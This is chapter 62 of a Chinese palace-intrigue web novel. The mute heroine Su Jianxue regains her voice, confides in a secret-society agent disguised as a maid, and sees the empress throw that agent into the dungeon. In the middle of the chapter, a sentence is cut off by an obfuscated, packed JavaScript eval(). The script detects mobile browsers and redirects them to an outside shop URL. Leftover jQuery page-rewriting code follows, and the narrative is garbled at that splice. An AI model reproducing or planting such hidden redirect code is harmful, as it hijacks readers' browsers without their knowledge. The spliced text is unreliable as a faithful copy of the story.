62. 第 62 章

作品:《冷面王爷的小辣椒

    苏见雪睁开眼,发现自己正躺在一张木床上,房间内点着灯,看来已经天黑,望着青色的帐顶,小鱼惨白的脸忽然出现在脑海,直到此刻,她依然无法接受对方已经死去的事实。


    对方的那句“小心有诈”就像开启了循环模式在耳边不停重复,直到房门推开的“吱呀”声才让其中断。


    “王妃,您可算醒了,奴婢给您端来了热汤,刚好暖暖身子。”


    苏见雪扭头,刚好看到一个宫女装扮的女子,端着一碗热气腾腾的东西,小心翼翼地走进房间,四目相对时,对方明显有一丝愣神,但很快就掩饰过去,仿佛从未有过一般。


    对此,她并没有心思深究,只是蠕动着嘴唇,从鼻腔里发出一点点嗡鸣声。


    “嗯。”


    虽然声音很轻,但对于久未发出过声音的苏见雪来说却是不可思议的存在,她立即看向宫女,对方像是没有听见一般,正背对着她搁置着托盘。


    苏见雪很想找人分享此刻的喜悦,她抬手伸至半空,薄唇微启,却在瞄见对方手腕处的月牙形印记后,生生将所有声音吞咽回去。


    宫女回身,快速行至床边,握住她来不及收回的手,暖声道:


    “王妃可是要起身,奴婢来扶您。”


    苏见雪不着痕迹地打量着眼前的人,眉目周正,一双眼睛黑白分明,透着几分温顺,脸颊略清瘦,闭嘴不说话时,瞧着应是沉默少言的性子,似乎和记忆中,低眉顺目的小芳很相似。


    但对方这长相和装扮,放在皇宫内,一抓就有一大把,所以,她并不太相信自己的记忆,只是心中多了一丝防备。


    当对方扶着她坐好,端着热汤送到嘴边时,苏见雪直接摆手拒绝了。


    宫女又劝过两次,见她态度坚决,只好悻悻然递上纸笔,让她将想吃的东西写下,她也能免受皇后娘娘的责罚。


    随手写下几种吃食,打发掉宫女后,苏见雪便伸手圈住自己,将脸埋进被窝,用极轻极轻的声音念出心底的名字。


    闷闷的声音穿过布料,传入耳中时,不断升温的被窝熏红了眼眶。


    她真的能够说话了!


    失而复得的喜悦尚未在心底传递开,另一种担忧迅速笼罩了整个心房。


    见到林风眠和苏梦瑶开始,好像很多事情已经失去控制,总感觉暗地里有一双眼睛在盯着她,又或者说,是有一双无形的手在操控着她的命运。


    萧景渊的中毒、药老的失踪、小鱼的暴毙,这背后的人想要的到底是什么?难道京城要生异动?


    萧怀瑾是不是已经收到消息?是否在回来的路上?


    从她在城门口亮出千机阁的玉佩到现在已经过去这么长的时间,却没有任何千机阁成员来找她,这和萧怀瑾跟她说的完全不一样,莫非??


    越想,苏见雪感到越心惊,她觉得此时的自己前路一片漆黑,环住腿的双手不断收紧,试图从这个动作中找到一丝慰藉,最终除了愈发稀薄的空气,她什么也没有得到。


    “参见王妃!”


    忽然出现的声响吓了苏见雪一跳,她猛然抬头,看到一个宫女装扮的女子不知何时,悄无声息地跪在床前,正恭敬地对着自己行礼。


    对方低垂着脑袋,她看不清容貌,也不知其进来的目的。


    只能谨慎地环顾四周,房门依旧紧闭,窗户也……


    房间角落位置的那扇窗户敞开了一条小缝,虽然与眼前之人的身形并不相符,但她还是相信,此人就是从那进来的。


    “奴婢是千机阁京城分部的芳草,之前见王妃在城门亮出了千机阁的玉佩,特此前来询问是否有什么吩咐?”


    芳草说着抬起头,递上不知从哪拿来的纸笔,苏见雪这才看清对方的长相——不就是刚才出去的那个宫女,怎么从大门出去,又从窗户爬进来了?还自称是千机阁的人,她能信吗?


    “奴婢方才听到王妃出声了,但为了安全起见,还请王妃用笔写字,以免被旁人听见。”


    说着,芳草将手中的纸笔往前递了递。


    苏见雪带着点防备的眼神,在听到对方口中的那句听见出声后,彻底清明。


    她自认为掩藏得很好的事情,其实一开始就被看穿,而对方不点破,仅仅是为了保护她。


    如此想来,苏见雪也就不再怀疑,指着对方手腕处,在纸上写下:“月牙形是什么?”


    芳草撸起自己的袖子,露出手腕处的全貌,才知那并不是什么月牙,而是一条鱼的尾巴弧度。


    “这是千机阁的成员的独有标识,王妃若是不信,可以拿玉佩出来比对。”


    在鱼身露出来的瞬间,苏见雪已经完全确认了对方的身份,只因在玉佩的背面,确实有个一模一样的标识,只是她一直都以为对方手腕处的是月牙,从未将两者往一处想过。


    “小芳何在?”


    苏见雪知道,若是想了解药老被带走,还有小鱼突然服毒自杀的背后真相,就一定要找到关键人物小芳。


    芳草看清纸上的字后,眼中闪过一丝不解,但很快又恢复如初,恭敬作答。


    “奴婢便是小芳。”


    “那你快告诉我,药老到底是怎么被发现的?”


    “奴婢那日照常出去买菜,等回来时,院子里便来了一群侍卫,对着院子一通搜,属下本想带着药老杀出重围,但药老摇头拒绝了。”说到这,芳草眼中露出懊恼之色,“后来奴婢见到王妃想要禀明此事,却见王妃被小鱼急忙拉走,只好作罢。”


    药老拒绝了芳草的营救,那他一定是对自己进宫的处境很有把握,可苏见雪从始至终都没有见过药老的面,也不知他此时的状态,自然不好做出判断。


    “药老何在?”


    “皇宫地牢。”


    地牢?


    沈清婉不是请药老来为萧景渊解毒的?怎么会把人关入地牢?


    若说小鱼被污蔑,是从她身上搜出了萧景渊中毒的毒药,而她去投放解药时,刚好被撞见,才引发了误会,那药老


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214844|189237||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    已经那副模样,连生活都不能自理的人,又怎么会制毒害人呢?


    “能救出来吗?”


    “奴婢身单力薄,需要找人帮忙。”


    忽然,芳草迅速起身,抓起苏见雪写过的纸一把塞进怀里,又端起桌上的茶碗在她的耳边轻声催促,让她随便写下几句无关紧要的话。


    她才刚刚写完第一句,门外便响起多人的脚步声,有轻有重,还有珠帘玉饰互相碰撞发出的清脆声,似是彰显来人身份的不一般。


    很快房门被推开,沈清婉率先踏进房间,魏嬷嬷瞅了一眼站在床边的芳草,厉声呵斥道:


    “大胆贱婢,居然敢坐在王妃的床榻之上。”


    芳草扑通一声跪下,手中的茶碗顺着她的动作掉落,发出刺耳的声响。


    “奴婢见过皇后娘娘,娘娘恕罪!”芳草脸上早已没有最初的淡然,仿佛一个做错事被抓个正着的小宫女,死灰一片,一边磕头,一边怯生生地偷瞄苏见雪,辩解道:“是王妃让奴婢坐的。”


    苏见雪刚想在纸上写下帮芳草解释的话,笔尖才触及纸张,沈清婉清冷的声音便响起,冷冷的声线,再加上残酷地处罚,就像一记闷锤砸在她的心头,震得手上一抖,笔在纸上画出长长的斜线。


    “拖下去,打入地牢!”


    “娘娘饶命!奴婢知道错了。”见侍卫快速从门外进来,芳草一把抓住苏见雪垂在床边的手,哭声哀求道:“王妃,求您帮奴婢解释一下,奴婢真不是有意僭越的,是您拉着奴婢的手让奴婢坐的,奴婢……”


    芳草的话尚未说完,就被上前的侍卫粗鲁地捂住嘴,只剩下痛苦地呜鸣声,还有手上逐渐削弱的力道。


    苏见雪一把掀开被子,光脚跑到沈清婉跟前,伸手比划着,告诉对方,真的是这样的,不要罚的那么重,对方却眨巴着无辜的眼睛,肩膀一耸,双手一摊,笑问道:


    “见雪,你要说什么?皇嫂看不懂。”


    又是这样,又是这样!


    和小鱼出事时一模一样,若是第一次是意外,那第二次呢?


    芳草被拖着走的声音愈发变小,直到消失在门口,苏见雪收回目光,趔趄往后退开一步,稳住身形后,定定看着眼前的人——那是她曾经以为特别温暖的人,她明明看懂了自己的哀求,怎么就装作看不懂呢?


    她忽然觉得自己似乎从未认清过沈清婉,不管是初见时的知心姐姐,还是后来与萧景渊置气的清冷模样,亦或是别人口中温良贤淑、造福百姓、开辟先河的皇后娘娘,都只是对方想让她看到的模样,就像此刻,对方眼中露出的那一抹冷意,是真切存在的。


    为什么?


    到底是为什么?


    不过是在床边坐了一下,就算是于礼法不合,也不至于打入地牢——那历来是有去无回的地方。


    还是这才是最真实的她,被古代思维长久侵蚀,想要在危机重重的皇宫活下去,就不得不冷心冷情?


    “都退下,本宫有话同王妃说。”